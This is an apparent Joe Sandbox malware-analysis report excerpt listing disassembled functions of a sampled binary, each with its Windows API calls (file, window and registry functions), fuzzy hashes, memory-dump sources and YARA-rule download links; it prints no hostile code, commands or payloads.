Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$A25940CurrentEnablePathPrepareThreadWrite
String ID:
API String ID: 390483697-0
Opcode ID: 537a648804628b5e02728cede5c6c912c08caa4db7979cef3d55c9bd7edfe597
Instruction ID: 5f1323f4397b3ee2810d501b1bf1d3990ce2eca8f47bc916b599dab184451e60
Opcode Fuzzy Hash: 537a648804628b5e02728cede5c6c912c08caa4db7979cef3d55c9bd7edfe597
Instruction Fuzzy Hash: 7EF02E30248300AFE7109B32AC06B197BE8E309B12F60087BF90882180FA796C40C62E

Function 00440ED4 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00440EEB

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: b2f4e4313b6d59998101169f1e75a43fe1b88cae4c3ce48544be240c8b35f884
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 2FF06D3010410DDBEB2CCF58D0619AF77A1EB49311B20807FE6078B390C674AE60DA58

Function 004164C0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 004164F5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cdcc0148ce654954751abbafc01dffb42bdee5d1888213000ee0bb92e9214fa3
Instruction ID: a44329a4cc8b06b024a2b0eee2fd8d89e642962040674eee811c3e7967e458ca
Opcode Fuzzy Hash: cdcc0148ce654954751abbafc01dffb42bdee5d1888213000ee0bb92e9214fa3
Instruction Fuzzy Hash: F5F025B2200510AFDB84CF9CD9C0F9373ECEB0C210B0981A6FA08CF24AD220EC108BB0

Function 00414924 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0041495F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Function 0045002C Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0045006C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2ede321defe567e410583ee7d2eecbacf47d7ccc5192bb7a3ec4f55cb8d78e51
Instruction ID: 45ed5e217c844315310d89a20c49d2eff003bfa8467b370b0955f01a950c20be
Opcode Fuzzy Hash: 2ede321defe567e410583ee7d2eecbacf47d7ccc5192bb7a3ec4f55cb8d78e51
Instruction Fuzzy Hash: 39E0EDA53541583ED240AABCBC52F9767DC9759754F008033B998D7241D4619A158BA8

Function 0042CBA8 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0042CBF0,?,00000001,?,?,00000000,?,0042CC42,00000000,0045174D,00000000,0045176E,?,00000000), ref: 0042CBD3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fb728ae1967c572744be537d183b1c2397660519459ab9e6793d4da77068addf
Instruction ID: dfed850972a7f4cfed0b3d6ce6ead54829112a593105f6481b619d55be1254e6
Opcode Fuzzy Hash: fb728ae1967c572744be537d183b1c2397660519459ab9e6793d4da77068addf
Instruction Fuzzy Hash: 1AE06571304708BFD701EB62AC93E5EBBACD745714B914876B400A7651D5B8AE00845C

Function 0042E634 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451F9B,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E653

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 1e35d6990590c6e50af99b1e8368dee699bbd3b64eed18c8552a5533455f4f95
Instruction ID: 6dc52a3738478b360af1f37268f932a47e6ce6d9338a48a593b8bc47814fb21e
Opcode Fuzzy Hash: 1e35d6990590c6e50af99b1e8368dee699bbd3b64eed18c8552a5533455f4f95
Instruction Fuzzy Hash: 7AE0D86178431119F62514166C53B7B110E8390B44FD080267A109D3C3C6AE990D429E

Function 00406300 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,004235EC,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 00406329

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction ID: 1d12608fc0467a25e6c73015cc4d191371d7057fe5102c86e19c90aa3d4ae925
Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction Fuzzy Hash: 4CE002B2204309BFDB00DE8ADDC1DABB7ACFB4C654F844105BB1C972428275AD608BB1

Function 0042DC1C Relevance: 1.5, APIs: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC48

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4676b834bccda8ccd94f8a4f379db04665fbdc7bc7b85aab9c145464b6c6dbba
Instruction ID: 5aa87c08ff8936fcaaa84cf50ff31e6a06e3de0a8084b04fc6442f63f77fe161
Opcode Fuzzy Hash: 4676b834bccda8ccd94f8a4f379db04665fbdc7bc7b85aab9c145464b6c6dbba
Instruction Fuzzy Hash: BDE07EB2600129AF9B40DE8DDC81EEB37ADAB1D350F404016FA08D7200C2B4EC519BB4

Function 004537DC Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,0046CD88,00000000,0046DB81,?,00000000,0046DBCA,?,00000000,0046DD03,?,00000000,?,00000000), ref: 004537F2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 54b39f45c5f67c440eef70d7cfdfc20af3eff7d0f7fc73acc1bfbd45dbef0565
Instruction ID: 3c2f3b5d168bf93cd631a235a9b0e84732c2fbaaec0239a20caabd19728dc336
Opcode Fuzzy Hash: 54b39f45c5f67c440eef70d7cfdfc20af3eff7d0f7fc73acc1bfbd45dbef0565
Instruction Fuzzy Hash: 0FE065709046004BCB18DF3A88802167AD15F89321F04C56ABC58CB396D63CD4154666

Function 004145EC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00490B52,?,00490B74,?,?,00000000,00490B52,?,?), ref: 0041460B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Function 00406E78 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406E8C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8104b81393d7ab99e5490d03bd39932e7ae08d55ff3641e8619ba5a3672376b0
Instruction ID: 5e9ef0cb41ef517b54198f539e7e4457f1ce254f1207c5e451c0fee893fabf4d
Opcode Fuzzy Hash: 8104b81393d7ab99e5490d03bd39932e7ae08d55ff3641e8619ba5a3672376b0
Instruction Fuzzy Hash: 3DD05B763082107AD620A55BAC44DA76BDCCFC5770F11063EB558C71C1D6309C01C675

Function 004235BC Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00423568: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042357D

ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Part of subcall function 00423598: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 004235B4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: e43ee2013604c357900ae1fc59d7573d1bdcd4a9f72dbe210b738252a55b591a
Instruction ID: 6e8deb3ed7ffb4c54c7bf11bddd21d475954711d807402a63cfbe74293682e9f
Opcode Fuzzy Hash: e43ee2013604c357900ae1fc59d7573d1bdcd4a9f72dbe210b738252a55b591a
Instruction Fuzzy Hash: 03D05E123812743102107ABB280998B42A84D862AB388043BB54CDB202E91E8A81A1AC

Function 00424234 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 0042424C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: c34688b727229efcedc1f2997f44e421d28f5fd8d0fc977b3f59e8ef08dab085
Instruction ID: a3b20f4c882213fa23ff33249cd178fa67041ba6f44abe22b1f00704e939aabb
Opcode Fuzzy Hash: c34688b727229efcedc1f2997f44e421d28f5fd8d0fc977b3f59e8ef08dab085
Instruction Fuzzy Hash: 4CD05EE27011702BCB01BBED54C4AC667CC8B8829AB1940BBF918EF257C638CE448398

Function 0042CC00 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00450DF7,00000000), ref: 0042CC0B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 696c079d1e659a807bafa968d47e5a3e4cea9be412662ea6c9d5bc89f686c2e0
Instruction ID: 3d474633da5dc292dd1e9b08acfa0ea7ef8e6560f0837aa6ac70ccb6d2902417
Opcode Fuzzy Hash: 696c079d1e659a807bafa968d47e5a3e4cea9be412662ea6c9d5bc89f686c2e0
Instruction Fuzzy Hash: 42C08CE03022001A9A1465BF2CC511F42C8891827A3A41F37F53CE32D2D27E88A72428

Function 0046352C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00464198,00000000,00000000,00000000,0000000C,00000000), ref: 00463544

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Function 00406E28 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A834,0040CDE0,?,00000000,?), ref: 00406E45

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 729f5fe22d032bc30c7b3c1cd235c04f69d711967675883a87a82d232c0a1fda
Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
Opcode Fuzzy Hash: 729f5fe22d032bc30c7b3c1cd235c04f69d711967675883a87a82d232c0a1fda
Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C

Function 00450194 Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,0045AB76,00000000,0045AD01,?,00000000,00000002,00000002), ref: 0045019B

Part of subcall function 0044FF1C: GetLastError.KERNEL32(0044FD38,0044FFDE,?,00000000,?,00492FFC,00000001,00000000,00000002,00000000,0049315D,?,?,00000005,00000000,00493191), ref: 0044FF1F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: e509c6469c0495ff3d8d50289cc47f78563c4c1ba542cbc23bb40268093561b4
Instruction ID: 1bebecc74f079ece343e3a7d1167f4405f8714b267b02dadb744202632b617bb
Opcode Fuzzy Hash: e509c6469c0495ff3d8d50289cc47f78563c4c1ba542cbc23bb40268093561b4
Instruction Fuzzy Hash: B1C04C65300500479F00A6AE9AC190763D85E493053144166B904CF217E769DC084A15

Function 00407210 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,00492F8A,00000000,0049315D,?,?,00000005,00000000,00493191,?,?,00000000), ref: 0040721B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 116f646fca034a371e6a5c157b9d4efecc0deabf7e2bcd6bcee3aaaef58023bf
Instruction ID: c18bf430a4858a09d5fd0626d157798880aaaa8ea81a5298b6cf69089c3012d4
Opcode Fuzzy Hash: 116f646fca034a371e6a5c157b9d4efecc0deabf7e2bcd6bcee3aaaef58023bf
Instruction Fuzzy Hash: B0B012E03D161B27CA0079FE4CC191A01CC46292163501B3A3006E71C3D83CC8080514

Function 0042E20F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E22D), ref: 0042E220

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 5cb12245fe54509065a79bb868ac9e2c98d4f3c192dc6fa753926c2ceb3ff8f1
Instruction ID: f738dbc2c191c097ff54108f810fd354cf398823fcd47068a980be29c21e85c8
Opcode Fuzzy Hash: 5cb12245fe54509065a79bb868ac9e2c98d4f3c192dc6fa753926c2ceb3ff8f1
Instruction Fuzzy Hash: 91B09B76B0C6005DF705D6D5745152D63D8D7C57203E149B7F111D2581D93C58004928

Function 0041655C Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

73A25CF0.USER32(?), ref: 00416563

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15102f7382d34fed751781a5022c55e4c44b9a191595ad2a6c0bef55f1a25186
Instruction ID: 444a78761fbc6a727879d8c4239369b0bde5fc0390465f01f64749401816922a
Opcode Fuzzy Hash: 15102f7382d34fed751781a5022c55e4c44b9a191595ad2a6c0bef55f1a25186
Instruction Fuzzy Hash: CDA002756015049ADE04A7A5C849F662298BB44204FC915F971449B092C53C99008E58

Function 00448268 Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db86b8de405a088a6b83ccdf8f0a71830a501c36d28a1e2c04e4f1b6f6536bf
Instruction ID: ed683a4cea5e88021bbc1409ff1e0a58e0c8ba7b79923d7a23a2ead903146a7f
Opcode Fuzzy Hash: 9db86b8de405a088a6b83ccdf8f0a71830a501c36d28a1e2c04e4f1b6f6536bf
Instruction Fuzzy Hash: 06517374E042099FEB00EFA9C482AAFBBF5EB49714F50817EE500A7351DB389D41CB98

